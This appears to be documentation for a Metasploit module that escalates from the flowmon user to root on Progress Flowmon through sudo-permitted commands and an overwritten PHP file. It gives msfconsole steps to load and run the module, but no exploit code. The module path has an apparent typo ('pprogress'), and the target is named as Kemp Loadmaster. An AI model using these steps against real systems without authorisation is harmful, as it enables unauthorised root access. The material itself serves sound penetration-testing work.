## Vulnerable Application
Progress Flowmon up to at least version 12.3.2 is vulnerable to local privilege escalation from the
`flowmon` user to `root`. This is possible due to the
flowmon user being able to run several commands with
`sudo`. This module exploits the ability to overwrite a
PHP file and execute it with `sudo` granting full `sudo`
permissions to the `flowmon` user and elevating the
shell to a root shell.

## Verification Steps
1. Install the application
1. Start msfconsole
1. Gain a session on a Progress Kemp Loadmaster target as the `flowmon` user
1. Do: `use exploits/linux/local/pprogress_flowmon_sudo_privesc_2024`
1. Do: `set SESSION <session>`
1. Do: `set LHOST <your host IP>`
1. Do: `run`
1. You should get a shell as the `root` user.
